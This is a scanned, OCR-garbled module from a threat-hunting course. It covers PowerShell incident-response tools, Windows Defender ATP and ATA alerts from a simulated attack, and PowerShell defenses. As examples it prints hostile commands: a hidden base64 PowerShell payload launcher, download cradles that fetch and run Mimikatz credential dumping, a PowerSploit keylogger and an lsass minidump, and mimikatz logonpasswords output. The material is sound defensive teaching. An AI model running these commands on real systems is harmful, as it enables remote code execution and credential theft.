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5.1 Introduction

In this module, we'll look at some tools, built with
PowerShell, that are designed to gather and scan data at a
large scale for incident response and threat hunting
purposes.
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5.1 Introduction

We will also look at some new tools created by Microsoft
that can aid us in hunting for and catching malicious
actions and/or attacks against machines in our
environment.

Lastly, we will look at some additional techniques on how to
minimize and defend against the misuse of PowerShell in
our environments, aside from just for hunting for malicious
actions.
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PowerShell Hunting
Tools

5.2



Kansa is a PowerShell incident response framework.

This framework can be used in the enterprise to collect
data for use during an incident response, breach hunts, or
for building an environment baseline.

You can download Kansa from GitHub here.
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https://github.com/davehull/Kansa

The primary use of Kansa is to collect data from many
hosts.

It takes advantage of Windows Remote Management and

PowerShell’s ability to run jobs across multiple machines in
parallel.
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Kansa was designed to be modular. It features a core
script, collector modules, and analysis scripts. These
analysis scripts can perform frequency analysis of specific
fields in a given data set.

To enable these capabilities, Kansa requires LogParser, a
tool we already discussed while hunting for web shells.
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5.2.1 Kansa

Here is a screenshot of Kansa extracting autoruns and
filtering those that contain “ps1”

Windows PowerShell (2)

“tools\Kansa= autorunsc faccepteula -a = =
PS CiywUsershdahullytools\Kansa= fdata = Inport Csv Lharuns- 5tra1ght csv
P5 C:WwUsershdahull\tools\Kansa= $data | 7 { %_."Launch String” -match "ps1" }

: 7/25/2012 6:21 PM
: Task Scheduler
: WTest\TestGet-AutorunscDeep. psl
: enabled
: Tasks
: System-wide
: Windows PowerShell
: (Verified) Microsoft Windows
: crywwindows\system32\windowspowershel Thwl. 0h\powershell. exe
: 6.2.9200.16384
"CWWindowsh System32WWindowsPowerShelThwl. 0y powershell. exe” cihusershdahull\tools\kansa\modules\aseps\Get-AutorunscDeep. psl
: 2D1FGFBA3ZFBEF3D0726ADEO3F3IF031Y
: 5B81DFBESGZAGFZDDDEFFFSFCF3CTERE2Z9ESDCFDDZ
: AASBIFCDL2ABSCEBFSFADFS6D868A9GEF710BERE
: FEF7AFF73B1F4EFECEDFOAAFFAL3S410EAFIECEA07ECEEDD31ABEEDF21F41768
: O3D43EE1F2F4F152840F7B5DBDD3386A1CE5 9DEFFA4FFCY51CERB40324C97EAC1E

PSS C:vwUsershdahullytools\Kansas
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Its suggested that you download Kansa and get familiar
with this tool.

You can read more about the functionality of Kansa here
and here.
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http://trustedsignal.blogspot.com/search/label/Kansa
http://www.powershellmagazine.com/2014/07/18/kansa-a-powershell-based-incident-response-framework/

PSHunt is a PowerShell Threat Hunting Module designed to scan
remote endpoints for indicators of compromise, or survey them
for more comprehensive information related to the state of those
systems (active processes, autostarts, configurations, and/or
logs).

PSHunt is divided into several modules, functions, and folders.
Below are the modules of PSHunt:

« Scanners o Utilities

« Survey « Analysis

« Discovery
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You can download PSHunt from GitHub here.

You can also view a presentation on PSHunt from BSidesLV E‘
2016 here.
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https://github.com/Infocyte/PSHunt
https://www.youtube.com/watch?v=2MrrOxsJk_M

NOAH is an agentless open source Incident Response framework
based on PowerShell, called "No Agent Hunting" (NOAH), to help
security investigation responders to gather a vast number of key
artifacts without installing any agent on the endpoints, saving
precious time.

NOAH was revealed at Black Hat USA 2017 in a presentation called
“NOAH: UNCOVER THE EVIL WITHIN! RESPOND IMMEDIATELY BY
COLLECTING ALL THE ARTIFACTS AGENTLESSLY". You can
download the tool from GitHub, here.

https://www.blackhat.com/us-17/arsenal/schedule/#noah-uncover-the-evil-within-respond-immediately-by-collecting-all-the-artifacts-agentlessly-7965
https://github.com/giMini/NOAH
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5.2 PowerShell Hunting Tools

You should become familiar with some, if not all of these
tools, as a threat hunter in the enterprise.

You want to hunt efficiently at scale, and PowerShell is a
great tool to aid us with hunting.
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5.2.4 Hera Lab

Hera for THP v2
e " ur @ unt: 120 hours,

Put what you've learned to
practice with the Hunting at
Scale with Osquery lab!

xxxxxxx

To ACCESS your lab, go to the
course in your members area
and click the labs drop-down in
the aplaropriate module line,
then click the manual icon.

All Iabs are only available e T AT R RV R
in Full or Elite Editions of ; / \
the course. To upgrade, T T T T T e —

I . k LI N K *NOTE: some courses contain several labs and manuals, please make sure to click the file icon as it may
ClIC . be a zip that contains multiple lab manuals.
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Windows Advanced
Threat Protection

5.3



5.3 Windows Advanced Threat Protection

Windows Defender Advanced Threat Protection (ATP)
provides preventative protection, detects attacks and zero-
day exploits, and gives you centralized management for
your end-to-end security lifecycle.

You can review more information about the product on its
official page here.
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https://www.microsoft.com/en-us/windowsforbusiness/windows-atp

5.3 Windows Advanced Threat Protection

Windows Defender ATP is agentless and built into the
operating system.

ATP can adapt to changing threats, deploy new defenses,
and orchestrate remediation.
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5.3 Windows Advanced Threat Protection

ATP uses the following to protect you from advanced
threats:

« Windows Defender System Guard

« Windows Defender Application Guard
« Windows Defender Exploit Guard

« Windows Defender Antivirus

« Windows Defender Application Control
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5.3 Windows Advanced Threat Protection

Microsoft also advertises it as a threat hunting tool:
“Instantaneously search and explore 6 months of historical
data across your endpoints.”

To obtain a trial copy of Windows Defender ATP, you must
agree to the Trial Online Service Terms and register for the
product. If you're approved, then you will be given a 90-day
trial to test-drive ATP. Visit this link here to begin the
process.
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https://winatpregistration-prd.trafficmanager.net/UserAgreement

5.3 Windows Advanced Threat Protection

ATP Dashboard

Windows Defender Security Center ‘ Security operations dashboard _ LONMicr... °
> N
g Active alerts g Machines at risk machines list
£ desktop-1833h5a l 2 [] o 1 o
; High H 2
- Medium 0
3 0
N Low 1
= Im progress
2 Informational 0
1n.17.2007 Hacktool Mimikatz detected Low ’C.f Users at risk
1.17.2017 I Windows Defender AV detected 'Mikatz' high-severi... High
5
o 1.17.2017 Windows Defender AV detected active 'Mikatz" high... High
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5.3 Windows Advanced Threat Protection

In the previous screenshot, ATP successfully detected
Mimikatz simply being dropped onto the machine, without
being executed.

When we click on the alert, we're presented with another
window which provides more information.
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5.3 Windows Advanced Threat Protection

£ Hacktool Mimikatz detected

Alert context Status
Hacktool Mimikatz detected
Actions ~ 8 desktop-1833h5a State: Mew
Classification: Mot set
Severity: Low
Category: Credential Stealing First activity: 11.16.2017 | 23:17:56 Assigned to:  Not assigned
Detection source: Windows Defender ATP Last activity: 11.17.2017 | 00:07:10

From the above screenshot, we see that it gives us a severity
level, in this case it's low. It tells us the type of malware this
would fall under; in this case, it would be credential stealing. We
also see the machine that was affected along with date &
timestamps.
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5.3 Windows Advanced Threat Protection

The alert also gives us a brief description of |#erteewsie
the malware, recommended aCtions, an (D Alert process tree is not available for this alert

This alert is related to 4 detection events not displayed here.

alert process tree, and an incident graph. (e
élncidentgraph

From the incident graph, we can see what
was dropped onto the machine. In this

case, a zip file containing Mimikatzanda |
PowerShell-based Mimikatz script. | _*

Invoke-Mimikatz.ps1 '

I
|
: desktop-1833h5a Invoke-Mimikatz.ps1
|
|
1
Descri ption Recommen ded actions |
1
Hacktool Mimikatz can be used to retrieve Windows Password. This is often used by If this is not a valid tool used by the network admin. remaove the tool from the network and
different attackers to infiltrate other machines connected in network. change the Windows password.
mimikatz_trunkzip
1
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5.3 Windows Advanced Threat Protection

Now, let’s look at one of the high alerts on the dashboard,
which seems to also be related to Mimikatz.

12.07.2017 I Windows Defender AV detected 'Mikatz' high-severi... High
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5.3 Windows Advanced Threat Protection

# Windows Defender AV detected 'Mikatz' high-severity malware

Windows Defender AV detected
‘Mikatz' high-severity malware

Actions
Severity: High
Category: Malware

Detection source: Windows Defender ATP

Alert context

8 desktop-1833h3a

8, desktop-1833h5a\elshunter

First activity: 11.16.2017 | 23:43:30
Last activity: 12.07.2017 | 06:45:48

https://t.me/learningnets
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5.3 Windows Advanced Threat Protection

Description

High-severity malware refers tools used by advanced Threat Activity Groups to target
victims. Such Activity Groups may target individuals or institutions. They typically engage
on industrial, military, diplomatic, and political espionage rather than more mundane
activities such as identity theft or denial of service attacks. Some groups engage in acts of
deliberate sabotage and destruction in order to cause real-world effects, such as
disruptions to the victim's operations.

This category of malware includes tools such as:

- Exploits used to gain access to targeted computers or escalate privileges on infected
computers;

- Backdoors used to maintain persistent command and control over infected computers in
a stealthy manner;

- Lateral movement tools that permit attackers to scan the local network, locate targets of
interest, and access additional computers;

- Counter-forensics tools used to delay and disrupt incident response activities, including
destructive malware that can render computers inoperable;

- "Weaponized” tools that enable acts of deliberate sabotage or destruction or denial of
service,

Recommended actions

A. Validate the alert.

1. Check for other suspicious activities in the machine timeline.

2. Locate unfamiliar processes in the process tree. Check files for prevalence, their
locations, and digital signatures.

3. Submit relevant files for deep analysis and review file behaviors.

4. Identify unusual system activity with system owners.

B. Scope the incident. Find related machines, network addresses, and files in the incident
graph.

C. Contain and mitigate the breach. Stop suspicious processes, isolate affected machines,
decommission compromised accounts or reset passwords, block IP addresses and URLs,
and install security updates.

D. Contact your incident response team, or contact Microsoft support for forensic analysis
and remediation services.

Dizclaimer: These guidelines are for reference only. They do not guarantee successful
threat removal.
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5.3 Windows Advanced Threat Protection

Alert process tree

This alerts us
that th|S f||e was B £330 userinit.exe

I
B - @Qexplorer.exe

created or o

. B - ¢03Onotepad.exe
Copled/paSted l— [%::’alnvoke-Mimikatz.pﬂ
i n‘t O n O't e p a d a n d L .‘jmre,ces’. exe J:_E&, "s :':7;'»:'i':'fvl:ﬁirr;.i-":a.*:.,a;: 7 I .

, =T
Delecied a5 HackIO0LWiNnsZiviikatzona oy windows Defender AV}

Olnvoke-Mimikatz.ps1
C a I I e d I n VO ke_ ﬁ Invoke-Mimikatz.ps1 detected as HackTool:Win32/Mikatz!dha by Windows Defender AV
M i m i ka'tz . pS 1 . This alert is also related to 1 other event not displayed here.

Last event time is 12.07.2017 | 06:45:48.
Click here to see all related events in the machine timeline. i
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5.3 Windows Advanced Threat Protection

The PS1 file on the mmke-r!%mz-w R,

image is called Invoke-
.. & =

Mimikatz.ps1, =

and then it was renamed p

to Invoke-MMK.ps1 B
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5.3 Windows Advanced Threat Protection

ATP gives us the file location on disk as well as its hash.

Artifact timeline

Description First Observed Details

12.07.2017

06:45:48 [ Invoke-MMKps1 12.07.2017 | 06:45:48 w8 65a33f02e702365b330db5768773119eef5hE5a0f (©]
Ch\Users\elshunter\Desktop\MMK\PowerShell\nvoke-MMK.ps1

06:45:48 [ RuntimeBroker.exe 12.07.2017 | 06:45:48 i 797255e72d5ed5c058d4785950eba7abaad57653 O
CAWindows\System32\RuntimeEroker.exe

11.16.2017

23:45:50 [ Invoke-Mimikatz.ps1 11.16.2017 | 23:43:30 9% bed?57e71ea50111255a995394198d538d9b3d73 (©]

Ch\Users\elshunter\Desktop\Invoke-Mimikatz.ps1
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5.3 Windows Advanced Threat Protection

As part of the demo, Microsoft provides a benign Microsoft
Word document that will simulate an attack on your test
machine.

We will get an idea as to what this simulated attack will do
and how ATP detected the ‘attack’.
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5.3 Windows Advanced Threat Protection

An example of multiple
threats detected is shown
on the image to the right.
Note that a risk rating is
also provided.

Let’s further investigate
one of the alerts.

1
2
\ High B
9 ‘ 0 Medium 6
Mew In progress Low 1
Informational 0
/
il
12.072017 Right-to-Left-Cverride (RLO) technique observed Medium
12.07.2017 A process was injected with potentially malicious code Medium
12.07.2017 An uncommon file was created and added to a Run... Medium
12.07.2017 Unexpected behavior observed by a process run wit... Medium
12.07.2017 Suspicious Powershell commandline Medium
12.07.2017 Powershell dropped a suspicious file on the machine Medium
12.07.2017 I Windows Defender AV detected 'Mikatz' high-severi... High
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5.3 Windows Advanced Threat Protection

Again, we can look into additional details by expanding the
reported suspicious activity:

{F Powershell dropped a suspicious file on the machine

Powershell dropped a suspicious Alert context
file on the machine

Actions ~~ 0 desktop-1833h5a
2 desktop-1833h5a\elshunter
Severity: Medium
Categony: Delivery

First activity: 12.07.2017 | 06:45:55

Detection source: Windows Defender ATP Last activity: 12.07.2017 | 06:45:55
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5.3 Windows Advanced Threat Protection

The description provided includes details on parent process
and the suspicious execution event:

Description Recommended actions

Powershell dropped a suspicious file on the machine and executed it. 1. Investigate the machine timeline for any other indicators around the time of this alert
powershell.exe was executed by WINWCORD.EXE, and has created the file WinATP-Intro-Bac 2. Validate contextual information about the relevant components such as file prevalence,
kdoorexe,jpg.. other machines it was observed on etc.

3. Run a full malware scan on the machine, this may reveal additional related components.
4. Consider submitting the relevant file(s) for deep analysis for detailed behavioral

information.
5. If initial investigation confirms suspicions, contact your incident response team for

forensic analysis.
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5.3 Windows Advanced Threat Protection

Alert process tree

= @(:}smss.exe

On the image to the I —
. L o
right, we can see the full - GFOuserntere
B-@-::Z-explorer.exe ;“;

process tree that lead to I —
this activity being i-DW

flagged as suspicious. 2RO i

I— D (CWinATP-Intro-Backdoorexe.jpg
wowershallexe created file Wind TP-Intro-Backdoorexe

®®

L powel reated file Wind
@(}WEHATP—Iniro—Backdoorexe.jpg
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5.3 Windows Advanced Threat Protection

Finally, we are also provided with the hashes of the files.

Artifact timeline

Description First Observed Details
12.07.2017
06:45:55 [  WinATP-Intro-Backdoorexe,jpg 12.07.2017 | 06:45:55 % 4aa9deb33c936c0087fb052312ca1f09369acd27 (S
C\Users\elshunter\Desktop\WinATP-Intro-Backdoorexe,jpg
06:45:55 [ powershell.exe 12.07.2017 | 06:45:35 # fh31747726a0d1f451c73924be06d9b9647 1eef8 (&)

Ch\Windows\Syswowea\WindowsPowerShellyw1.0ypowershell.exe
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5.3 Windows Advanced Threat Protection

Basically, Microsoft Word launched PowerShell and
PowerShell created a file that seems like a JPG file.

Let's look at a few more alerts to see what ATP detected
regarding this JPG file.
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5.3 Windows Advanced Threat Protection

Under Description, we see a snippet of the PowerShell
command which was executed from the Word document.

Description Recommended actions

A suspicious Powershell commandline was found on the machine. This commandline 1. Examine the PowerShell commandline to understand what commands were executed.

might be used during installation, exploration, or in some cases with lateral movement MNote: the script may need to be decoded if it is baseé4-encoded

activities which are used by attackers to invoke modules, download external payloads, and 2. Search the script for more indicators to investigate - for example |P addresses (potential

get more information about the system. Attackers usually use Powershell to bypass C&.C servers), target computers etc.

security protection mechanisms by executing their payload in memory without touching 3. Explore the timeline of this and other related machines for additional suspect activities

the disk and leaving any trace. around the time of the alert.

The process powershell.exe was executing suspicious commandline 4. Look for the process that invoked this PowerShell run and their origin. Consider
submitting any suspect files in the chain for deep analysis for detailed behavior

powershell.exe -W Hidden -Exec Bypass -Command cd /:$file= [Convert]:FromBase64Strin information.

g([string] TVgQAAMAAAAEAAAAS/EAALGAAAAAAAAAQAAAAAAAAAAALAAALAAARANN
ABAAAAAAAAAAAAAAAAAAAAAAGAAAAAAfUgAAtANNIbgBTMONVGhpcyBwemSncmFtIG
Nhbm5vdCBiZSBydWd4gaW4gRESTIGTvZGUuDQOKIAAAAAAAAABORQAAZIVCAOASM 1A
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5.3 Windows Advanced Threat Protection

We can then see RuntimeBroker.exe started by the “JPG”"
file making an outbound connection on port 80.

B - $83 OWINWORD.EXE

- D 'i::lRSP__WinATP—IntrG—In‘mice.dac

WINORDEXE opened RS2 Wind TE-fnfra-imwoice.doc

= - % pcwershellexe

s Total detection rafor 1787

B - {é’; OWinATP-Intro- 2jpg
Q- @I:_:IRUHTI-WEBFGKEF.EKE

— () 0204.79.197. 203

RunfimeBrofernexe communicated with 2044, 79 197203 using port &0

https://it.me/learningnets THPv2: Section 03, Module 05 - Caendra Inc. © 2020 | p.40



5.3 Windows Advanced Threat Protection

{ An uncommon file was created and added to a Run Key
- ]

& An uncommon file was created
and added to a Run Key

Persistence was discovered by | 9
abusing a Registry Run key.

Category: Persistence

Detection source: Windows Defender ATP \
Description Recommended actions
An uncommon file was observed being created on this machine, and was then putinto a 1. Examine the file in question. Do you recognize it?
Registry Key where it will be run after a reboot. An attacker may place a malicious piece of 2. Check the machine timeline for the machine in question. Do you see evidence of a
software in such a location to preve_nt Iosing access if a machine is turned off. breach?
The file WinATP-Intro-Backdoorgpj.exe was added to the registry key 5-1-5-21-397246602 3. Update AV signatures and run a full scan. This may uncover previously undetected
4-464253144-1995027514-100N\Software\Microsoft\Windows\CurrentVersion\Run. indicators of compromise.

If you determine this may be an attack, reset all relevant user passwords, disconnect the
machine from the network to prevent any threat attack progression, and contact your
incident response team for potential forensics analysis and remediation. Remove the
registry key and file in question.
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5.3 Windows Advanced Threat Protection

RS2 _WinATP-Intro-lInvoice.doc

WINIWORDEXE opened R52 Wind TP-lntro-fnvorce.doc

EJ £33 OWINWORD.EXE
i
=-

_powershell.exe
VirusTotal detection ratior T/67

m—&‘} D

@CDWEHATP—I ntro-Backdoorexe.jpg
\S oftware\M]crosoﬂ\Wl ndows\Cu rrent\."'ersm nYRun\Troj

The addition of the registry B0 searmcmaindoncurart
key is also displayedina || WW@H
tree visual diagram. i

(RS2 WIinATP-Intro-lInvaoice.doc
WINWORD.EXE opened R5Z Wind TP-Intra-fmvoice.doc
Cpowershell.exe

VirusTotal detection ratio: 167

m—f{i} D

@SIZ:I'WEHATP—IntrO—Backd corexe,jpg

I— @(:} LASoftware\MicrosoftyWindows\CurrentVersion\Run\Troj
WindTP-Intro-Backdoorexe jog sef

registry value

https://t.me/learningnets

THPv2: Section 03, Module 05 - Caendra Inc. © 2020 | p.42



5.3 Windows Advanced Threat Protection

{# A process was injected with potentially malicious code

Another alert aSSOCiated With the & A process was injected with

potentially malicious code

file is the detection of process .

Severity: Medium

L] L] L]
I nJ eC-t I O n n Category: Installation
9 Detection source:  Windows Defender ATP

Description Recommended actions
A procass has injected code into another process, indicating suspicious code being runin 1. Investigate the machine's timeline for any other indicators around the time of this alert
the target process memory. Injection is often used to hide malicious code execution within 2. Validate contextual information about the relevant components such as file prevalence,
a trusted process. other machines it was observed on etc.
As a result, the target process may exhibit abnormal behaviors such as opening a listening 3. Contact the machine's user to verify whether they received an email with a suspicious

i attachment or link around the time of the alert.
The process WinATP-Intro-Backdoorgpj.exe has injected into the process RuntimeBroker.e 4, Run a full malware scan on the machine, this may reveal additional related components.

Xe. 5. Consider submitting the relevant file(s) for deep analysis for detailed behavioral

information.
6. If initial investigation confirms suspicions, contact your incident response team for
forensic analysis.
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5.3 Windows Advanced Threat Protection

The activity is again
displayed in a visual
diagram:

https://t.me/learningnets

B - §8C
L
Lo

9 -4
L
|
g-

JWINWORD.EXE

m—&? D

JWINWORD.EXE

m—{{i& D

(RS2 _WinATP-Intro-lnvoice.doc
WINWORLLEXE opened RS2 Wind TP-infra-invoice.doc
Cpowershell.exe

VirusTotal detection ratior 1/67
@-Z:)WEnATP—Intro—Backdoorexe.jpg

i:ﬁ(:)RuntimeBroker.exe

Wind TP-Intro-Backdoorexe,jpg injected to process RuntimeBroker.exe

£930RuntimeBroker.exe

(RS2 _WinATP-Intro-lnvoice.doc
WINWORLLEXE opened RS2 Wind TP-infra-invoice.doc
Cpowershell.exe

VirusTotal detection rafior 1/67

@-IZ:IWEnATP—Int ro-Backdoorexe.jpg

I—ﬁ(:}RuntimeBroker.exe

Wind TP-Intro-Backdoorexe,jpg injected to process RuntimeBroker.exe
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5.3 Windows Advanced Threat Protection

When we click on the JPG file, we're presented with another
window showing various information specific to the
analysis of the file.
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5.3 Windows Advanced Threat Protection

We see ATP gives us the file's hashes. It also submits the
file to VirusTotal for analysis. ATP tells us how many other
endpoints globally reported being infected with this file.

{& Suspicious Powershell commandline > [ File

File worldwide

D Malware detection Prevalence worldwide
File

SHAT: 4aa9deb33c936c0087fb05e312ca1f09369acd27 O 6 2 ) 1 2 k
VirusTotal °

SHA256: 47e843226e4c5d50efefdebd304529d128fe1c0f6761242a600fch 7fc049c4b3
MD5: c3ee160f88dc107aeab7adeefb387350

Size: 12.5 KB

Signer: unsigned

Issuer: unsigned

VirusTotal detection ratio:

W Windows Defender AV: First seen: 10 months ago
No detections found Last seen: an hour ago
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5.3 Windows Advanced Threat Protection

Deep analysis

Here we see what
malicious actions the file
took while on the machine. ri“‘

A system file communicates with an external IP address

Deep analysis request @)

ﬁ Deep analysis summary (latest available result: 2 days ago)

N Environmen t Awarene 55
' (Checks File Explorer properties

" Checks Fusion Log {Assembly Binding Log Viewer) properties

What quickly stands out is | - vuwmspessens

™ Creates a non-PE file under Users folder

that this file communicated | . ......

" Writes binary data to the registry

outbound to an external IP | . .o,
address, which we already | ™™

saw in another alert. | oo

' Contacted IPs [3]

Observables
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5.3 Windows Advanced Threat Protection

Here we can view an overview of detected alerts:

Alerts related to this file i 08

Last . Machine and user
~ activity
1

desktop-1833h5a
desktop-1833h5a\elshunter

12.07.2017 An uncommon file was created and added to a Run Key
| 06:54:49 Persistence

desktop-1833h5a
desktop-1833h5a\elshunter

12.07.2017 A process was injected with potentially malicious code
| 06:54:49 Installation

desktop-1833h5a
desktop-1833h5a\elshunter

12.07.2017 Right-to-Left-Override (RLO) technigue observed
| 06:54:41L Social Engineering

desktop-1833h5a
desktop-1833h5a\elshunter

12.0?.201{ Powershell dropped a suspicious file on the machine
| 06:45:55] Delivery

D XD XD X @D
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5.3 Windows Advanced Threat Protection

Statistics view that tell us that the file was discovered on

only 1 host machine:

File in organization

Filter by: 30 days ~

Prevalence: machines

Last 30 days

T

First seen: an hour ago
Last seen: an hour ago

2 file names observed

WinATP-Intro-Backdoorexe,jpg
SRIVS4VE.axe

https://t.me/learningnets
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5.3 Windows Advanced Threat Protection

Windows Advanced Threat Protection is definitely a useful
tool, and navigating through the tool is pretty
straightforward.

The information is simple and useful.
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Microsoft Advanced
Threat Analytics

2.4



5.4.1 Microsoft Advanced Threat Analytics

Another useful tool provided by Microsoft is called
Microsoft Advanced Threat Analytics (ATA).

As described on the website: Reduce your risk of costly
damage and get all the information you need in a succinct,
real-time view of the attack timeline with Advanced Threat
Analytics. All the intelligence to learn, analyze, and identify
normal and suspicious user or device behavior is built-in.
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5.4.1 Microsoft Advanced Threat Analytics

ATA boasts that there is no need to create rules, fine-tune,
or monitor a flood of security reports.

It is advanced, self-learning, ready-to-analyze events and
threat intelligence.
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5.4.1 Microsoft Advanced Threat Analytics

By description:

“ATA works by combining analysis of network traffic,
events, and pulling contextual data about the entities from
the directory, such as group memberships, titles, and
manager information. Once ATA is deployed it begins
monitoring the activity of all the entities in the organization,
learning the normal behavior of entities, and detecting
abnormal behavior and known techniques used by
advanced attackers and insiders.”
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5.4.1 Microsoft Advanced Threat Analytics

It's also worth noting that ATA can integrate with your
existing SIEM, and will automatically receive updates,
including new behavioral detections.

Unlike Windows Defender ATP, you don't have to go
through an approval process to test out ATA. You can read
more information and see example detections here, or even
try it out here.

https://docs.microsoft.com/en-us/advanced-threat-analytics/what-is-ata
https://www.microsoft.com/en-us/cloud-platform/advanced-threat-analytics
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5.4.2 Azure Advanced Threat Protection

Azure ATP is a variation of Microsoft ATA, which can be
deployed in (Azure) hybrid environments. Configuration and
alerts are available directly in Azure.

The full documentation including videos, investigative
examples, and playbooks are available here.
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https://docs.microsoft.com/en-us/azure-advanced-threat-protection/

5.4.2 Azure Advanced Threat Protection

For example, the playbook on Lateral movement, here,
displays detection of techniques such as Pass-the-hash
and Pass-the-ticket.

We recommend reading all of them to get yourself more
familiar with this tool and its capabilities.
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https://docs.microsoft.com/en-us/azure-advanced-threat-protection/atp-playbook-lateral-movement

PowerShell
Defenses

9.9



5.5 PowerShell Defenses

In the previous module, we discussed PowerShell logging
and what Event IDs to look for when hunting for PowerShell
usage in the environment.

In the upcoming slides, we're going to look at some
techniques to defend PowerShell in the enterprise.
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5.5.1 System-Wide Transcript File

If the environment has “system-wide transcript file"
enabled, a share on the network will exist where everything
typed in PowerShell (transcript file) will be sent to that
network share.

This means that the environment’s Blue Team will have an
over-the-shoulder transcript of everything that was typed,
for every computer/user.
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5.5.1 System-Wide Transcript File

Ccommand start time: 20160515205951

Wi ndows _Powe r'She] 1 transcript start
SLAL LIme._ £UlDU313/U3Y30
Username : .\ 5 dministrator

In the Image to the rlght; Rggmngser‘=@ﬂm}m§;g§2€ windows NT 6.1.7601 Service Pack 1)

HosT Application: c:\windows\system32\windowsPowershell\vl.0\powershell.exe
Process ID: 160

you can see a system- R () E10h (M BT

Bu1R1 dvers10n4 {1)038585?20%%7

M M M M CLRVersion

Wld e tra n Scrl pt fl Ie I n PSRemot1nngtoc01:Vzr:g‘|cm 78
Ser'lahzat‘lon\!ermon 1.1.0.1

*%

aCtiO n; d i S p I ayi n g th e Eommand sta-r;t t1me_l_ _3_9160515205956

e e

executed Command and ‘;;#f#:;t. m1m1.kaftz 2.0 alpha (x64) release "Kiwi en c" (Feb 16 2015 22:15:28)
ig < > :: /I;e;lJ;mn DELPY gentﬂk1w1 ( benjamin@gentilkiwi.com )

.'t 't 't "## v ##' http://blog.gentilkiwi.com/mimikatz (oe.eo)
I S Ou pu o ‘REEER with 15 modules * = =/

imikatz(powershell) # sekurlsa::logonpasswords

Authentication Id : 0 ; 147414 (00000000:00023fd6)
i : RemoteInteractive from 2
: administrator
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5.5.2 Constrained Language Mode

Constrained language mode is a feature mode that limits
the capability of PowerShell to base functionality.

.NET or COM access and Win32 API calls through
PowerShell are not possible when constrained language
mode is enforced.
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5.5.2 Constrained Language Mode

If an environment has PowerShell version 5 and ApplLocker
Script rules in enforce mode, PowerShell locks down to
constrained language mode automatically.

The same will happen if Device Guard with UMCI is
deployed.

https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/applocker/applocker-overview
https://docs.microsoft.com/en-us/windows/device-security/device-guard/introduction-to-device-guard-virtualization-based-security-and-code-integrity-policies
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5.5.2 Constrained Language Mode

You can see constrained language mode in action on the
image below (cannot download files).

[PS C:\Windows\system32> SExecutionContext.SessionState.LanguageMode
ConstrainedLanguage
PS C:\Windows\system32> IEX (New-Object Net.webClient).DownloadString('http://is.gd/oeoFul’'); Invoke-Mimikatz -DumpCreds

IPS C:\Windows\system32> IEX (New-Object Net.WebClient).DownloadString( https://raw.githubusercontent.com/mattifestation/Powerspl
loit/master/Exfiltration/Get-Keystrokes.psl'); Get-Keystrokes -LogPath c:\temp\key.log

PS C:\Windows\system32> IEX (New-Object Net.webClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSpl
oit/master/Exfiltration/Out-Minidump.psl’); Get-Process lsass ; out-minidump
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5.5.3 Anti-Malware Scan Interface

In Windows 10, it gets even more interesting due to the
introduction of the AMSI (Anti-Malware Scan Interface).

On AMSI powered systems, AMSI picks up any PowerShell
or VBScript code before it's executed by the PowerShell
engine. The AMSI, in turn, sends it over to the anti-malware
solution. The anti-malware solution will give a thumbs up or
a thumbs down based on its signature database.
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5.5.3 Anti-Malware Scan Interface

If It'S a thumbs down, PS C:\> Invoke-Expression (Invoke-WebRequest http://pastebin.com/raw.php?i=JHhnFV8m)
PowerShell will not execute

that code, whether it is

downloaded from the internet

and run in memory or run

from a SC”pt s §ﬁ2r2’3§§§2§ Id -eq 1116 | Format-List

: 4/28/2015 5:49:38 PM
: Microsoft-Windows-Windows Defender

: 1116

: Windows Defender has detected malware or other potentially unwanted

There are some vendors that e

For more information please see the following:

Support AMSI and these are ?E‘Eg;éég?at\;;;gégzgigom/fw"link/?1inkid=3?020&name=virus:h'in32/.‘v!ptest!ams
7 -

Name: Virus:Win32/Mptest!amsi

Microsoft, ESET, and AVG. et

Category: Virus
Path: amsi:_OJed82f66c32bf1274
Detection Origin: Unknown
Detection Type: Concrete
. Detection Source: AMSI
Here, you can see AMSI in User: CONTOSO\Someliser
) Process Name: Unknown
M Signature Version: AV: 1.197.874.0, AS: 1.197.874.0, NIS: 114.3.0.0
action. Engine Version: AM: 1.1.11602.0, NIS: 2.1.11502.0
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Module Conclusion

This concludes the module on Hunting with/for PowerShell.
We have covered:

« Various PowerShell tools to aid us in hunting in the
enterprise.

« Windows Defender Advanced Threat Protection.
« Windows ATA and Azure ATP.

 Additional techniques to defend the malicious use of
PowerShell.
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Labs

Hunting at Scale with Osquery

In this lab you will learn how to hunt for process injection on Linux
endpoints with the help of Osquery. You will also be shown how to
execute pre-baked Osquery queries through Kollide fleet.

*Labs are only available in Full or Elite Editions of the course. To ACCESS your labs, go to the course
in your members area and click the labs drop-down in the appropriate module line. To UPGRADE to
gain access, click LINK.
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